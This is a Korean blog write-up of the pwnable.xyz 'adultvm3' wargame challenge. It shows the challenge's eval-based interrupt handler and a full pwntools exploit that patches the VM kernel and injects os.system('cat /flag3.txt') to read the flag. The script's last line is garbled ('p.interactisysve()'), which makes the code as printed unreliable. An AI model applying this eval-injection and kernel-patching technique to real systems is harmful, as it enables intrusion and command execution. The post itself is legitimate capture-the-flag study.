Pwnstar
pwnable.xyz adultvm3 본문
후 adultvm의 마지막 문제이다.
adultvm2에서 조금 더 응용해서 진행하면 되는데, 좀 더 신경써야하는 부분이 있다면
def handle_kernel_interrupt(uc, intno, data):
if intno == 0x70:
rax = uc.reg_read(UC_X86_REG_RAX)
if rax == 0:
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
rdx = uc.reg_read(UC_X86_REG_RDX)
uc.mem_protect(rdi, rsi, rdx)
elif rax == 7:
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
rdx = uc.reg_read(UC_X86_REG_RDX)
buf = str(eval(str(uc.mem_read(rdi, rdx))))
uc.mem_write(rsi, buf)
uc.reg_write(UC_X86_REG_RAX, len(buf))
이 함수이다. 여기서 이제 인터럽트가 발생했을 때 인터럽트의 번호가 0x70일때, rax의 값에 따라 mprotect나 write함수가 실행되는데, rax가 7일때, eval이라는 함수가 있다. 쉽게 말해서 exec같은 함수라고 생각하면 된다 이 함수로 "cat flag"같은 문자열을 인자로 준다면 플래그를 볼 수 있고, 뭐 그런 방식이다.
rdi로 cat flag같은 문자열을 보내주고, 그 결과값을 rsi에 적어놓으니까, 여기를 통해서 플래그를 보면 된다.
bss영역에 원하는 문자열을 입력할 수 있으니,
os.system('cat /flag3.txt')
이 코드를 처음에 입력해놓자.
그리고 이 다음은 vm2 문제에서 mprotect를 적용하는 것까지는 모두 같고, 원하는 syscall을 만들 때, 다른 코드가 필요한데, 인터럽트를 발생시키기 위한 int 0x70과 rax의 값이 7이어야하기 때문에, mov rax, 7을 필수로 넣어줘야한다. 그런데 왜 그런지는 모르겠는데, 이 두가지만 넣어서는 코드가 제대로 돌아가지 않는다;; 왜그럴까 그래서 padding값을 좀 넣어줘야 했음.
이후에는 내가 만들어준 syscall 번호로 호출해주면 된다.
ex3.py
from pwn import*
context(log_level="debug", arch="amd64", os="linux")
#p = process(["python", "start.py"])
#p = process("./userland")
p = remote("svc.pwnable.xyz", 30048)
script = '''
b*0x00000000040002C7
'''
#gdb.attach(p, script)
code = '''
xor rax, rax
mov rax, 7
int 0x70
iret
'''
code = asm(code)
#flag3 = "open('/flag3.txt', 'r').read()"
flag3 = "os.system('cat /flag3.txt')"
int70 = 0xFFFFFFFF8100013B
kernel_addr = 0xFFFFFFFF81000000
patched_syscall_addr = 0xFFFFFFFF8100011E
syscall = 0x4000338
read = 0x000000000400000f
def edit(idx, payload):
p.sendlineafter("Exit\n", "1")
p.sendlineafter(": ", str(idx))
p.sendlineafter(": ", payload)
def show(idx):
p.sendlineafter("Exit\n", "2")
p.sendlineafter(": ", str(idx))
edit(0, "A"*0x40)
edit(1, flag3)
for i in range(2, 9):
edit(i, "A"*0x40)
#call read
log.info("step 1")
payload = "B"*8
payload += p64(0x4100380)
payload += p64(0x28)
payload += p64(0x1) * 2
payload += p64(read)
edit(9, payload)
show(0)
#setting mprotect
log.info("setting mprotect")
mpro = p64(0xa)
mpro += p64(kernel_addr)
mpro += p64(0x1000)
mpro += p64(0x7)
mpro += p64(syscall)
sleep(0.5)
p.send(mpro)
show(0)
#code patch
log.info("patch code")
payload2 = "C"*8
payload2 += p64(0) * 2
payload2 += p64(patched_syscall_addr)
payload2 += p64(len(code))
payload2 += p64(syscall)
edit(9, payload2)
show(0)
sleep(0.5)
p.send(code)
##cat flag
payload3 = "D"*8
payload3 += p64(6)
payload3 += p64(0x41001b8)
payload3 += p64(0)
payload3 += p64(len(flag3))
payload3 += p64(syscall)
sleep(0.5)
edit(9, payload3)
show(0)
p.interactisysve()
문제풀면서 공부한 것 중에 새롭게 알게 된게....int x(숫자)하면 이게 인터럽트를 호출한다는 거구나....근데 이건 32비트에서만 쓰이는 syscall인줄로만 알았다.
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz note v5 (1) | 2020.12.23 |
---|---|
pwnable.xyz adultvm2 (0) | 2020.12.22 |
pwnable.xyz adultvm (0) | 2020.12.21 |
pwnable.xyz note v4 (0) | 2020.12.20 |
pwnable.xyz fishing (0) | 2020.12.19 |
Comments